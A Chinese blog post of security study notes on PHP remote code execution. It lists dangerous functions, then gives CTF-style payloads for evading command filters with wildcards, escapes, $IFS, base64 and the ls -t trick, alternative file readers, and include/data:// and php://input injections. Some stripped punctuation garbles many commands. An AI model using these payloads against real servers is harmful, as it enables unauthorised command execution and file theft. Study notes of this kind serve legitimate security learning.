当前位置: 首页 > news >正文

网安学习第23天 PHP安全——RCE漏洞

一、RCERCE 漏洞全称是 Remote Code Execution远程代码执行漏洞。简单说攻击者不需要登录到服务器本地只要通过网络请求就能让目标服务器执行他指定的代码或命令。类型含义命令执行执行系统命令比如whoami、dir、ls代码执行执行某种编程语言代码比如 PHP、Python、Java 代码RCE远程触发的代码/命令执行范围更大RCE 既包含命令执行也可以包含代码执行。1、RCE是什么假设服务器上有一段后端代码本来只是想接收用户输入比如$name $_GET[name]; echo Hello . $name;这本身只是输出内容不一定有 RCE。但如果程序把用户输入直接交给系统命令执行比如$cmd $_GET[cmd]; system($cmd);那么如果访问http://example.com/test.php?cmdwhoami服务器就会执行whoami这就是典型的命令执行风险。2、常见的漏洞函数PHP:PHP代码执行函数 eval()、 assert()、 preg_replace()、 create_function()、 array_map()、 call_user_func()、 call_user_func_array()、 array_filter()、 uasort()等 PHP命令执行函数 system()、 exec()、 shell_exec()、 pcntl_exec()、 popen()、 proc_popen()、 passthru()等Python:eval exec subprocess os.system commandsJAVA:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数但是有反射机制并且有各种基于反射机制的表达式引擎如: OGNL、SpEL、MVEL等.二、RCE——利用绕过异或回显1、关键字过滤进行绕过1过滤flag关键字通配符flagfl* cat fl* cat ?la*转义符号ca\t /fl\ag cat flag使用空变量$*和$$x,${x}绕过ca$*t fl$*ag ca$t fl$ag ca$5t f$5lag ca${2}t f${2}lag拼接法afl;bag; cat$IFS$a$b反引号绕过:cat ls编码绕过:echo flag | base64 cat echo ZmxhZwo | base64 -d组合绝活6、组合绝活 touch ag touch fl\\ touch t \\ touch ca\\ ls -t shell sh shell # \指的是换行 # ls -t是将文本按时间排序输出 # ls -t shell 将输出输入到shell文件中 # sh将文本中的文字读取出来执行异或无符号过滤0-9a-zA-Z进行绕过2过滤函数关键字内敛执行绕过systemecho ls; echo $(ls); ??ls; ??$(ls);3过滤执行命令如cat tac等more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl显示的时候顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器这个也可以查看 vim:一种编辑器这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2%261 //报错出文件内容 curl file:///root/f/flag strings flag uniq -c flag bash -v flag rev flag4过滤空格%09url传递(cat%09flag.php) cat${IFS}flag afl;bag;cat$IFS$a$b {cat,flag}2、无回显该怎么判断直接写个文件访问查看直接进行对外访问接受3、 黑白盒白盒通配符 system(tac fla*.php); 取代函数通配符管道符 cp fla*.ph* 2.txt; echo shell_exec(tac fla*.ph*); 参数逃逸 eval($_GET[1]);1system(tac flag.php); 配合包含伪协议 include$_GET[a]?adata://text/plain,?system(tac flag.php);? include$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php 包含RCE伪协议通配符 data://text/plain,?php system(tac fla*);? php://input post:?php system(tac flag.php);?黑盒代码在线运行平台测试
http://www.zskr.cn/news/1335666.html

相关文章:

  • C#如何优雅处理引用类型的深拷贝 (十一)
  • 项目——基于C/S架构的文件传输系统平台 (2)——重构
  • 港科大沈劭劼、谭平团队最新成果:开源280万全景数据集,实现零样本立体匹配
  • 基于PSoC 6与BMI160构建嵌入式IMU测试系统:从驱动到上位机全流程
  • 从芯片上电到Wi-Fi连接:手把手调试ESP32-S3启动全流程(附日志分析)
  • 告别MPU6050例程!ATK-IMU901与Arduino串口通信的3个关键避坑点
  • 2026年4月知名的增压器维修机构推荐,增压器维修机构哪家可靠,高压油泵修复,燃油喷射精准高效 - 品牌推荐师
  • AI时代学习转型
  • 告别MIUI!用PixelExperience给小米8 SE刷上纯净安卓13,体验到底香不香?
  • ESP32-S3 变身‘数据U盘+调试串口’二合一神器:基于 TinyUSB 同时开启 MSC 和 CDC 的实战教程
  • 在STM32上实现文件上传:手把手教你配置lwIP 2.1.3的HTTPD POST接口(含内存管理避坑指南)
  • 用STM32L496的ADC测信号?手把手教你做个简易示波器(附潘多拉开发板源码)
  • iPaaS平台有哪些,这五款值得关注
  • C++ STL常用函数一览表(快速记忆版本)
  • 不止是省9.9刀:解锁特斯拉Model 3的‘行驶中保持WiFi’功能,打造家庭移动娱乐中心
  • AI 写代码总跑偏?mirrorai 让 Claude Code、Cursor、Copilot 严格遵守你项目的真实规范
  • 2026年新房墙面装修厂家性价比排行实测对比 - 优质品牌商家
  • 有这5个迹象,说明你公司内斗很严重!
  • 我因为偶然的原因搞出来了---------可以不限层级的评论区
  • 直播预告|Agent Harness: 从模型竞赛到系统工程
  • 告别串口线!手把手教你用WCH-LinkE和SDI功能在CH32V303上实现零硬件开销的Printf调试
  • 序列近似整数规划导向的通用高性能离散变量拓扑优化新方法【附算法】
  • Odrive运动控制实战:用STM32的CAN总线读取电机位置和发送位置指令
  • 告别接线混乱!用ESP32的I2C接口驱动LCD1602,5分钟搞定温湿度显示(附完整代码)
  • 三步告别键盘连击:KeyboardChatterBlocker高效使用全攻略
  • 高效学习W55MH32嵌入式芯片:从零到一的实战路径与调试心法
  • 成都连砂石技术选型推荐及本地合规供应厂家解析 - 优质品牌商家
  • HC32F4A0实战:用SPI驱动国产BL25CMIA EEPROM,从引脚配置到可靠性存储的完整流程
  • 夹矸煤层采煤机螺旋滚筒工作性能优化【附代码】
  • 戴家场镇靠谱的换电瓶哪家靠谱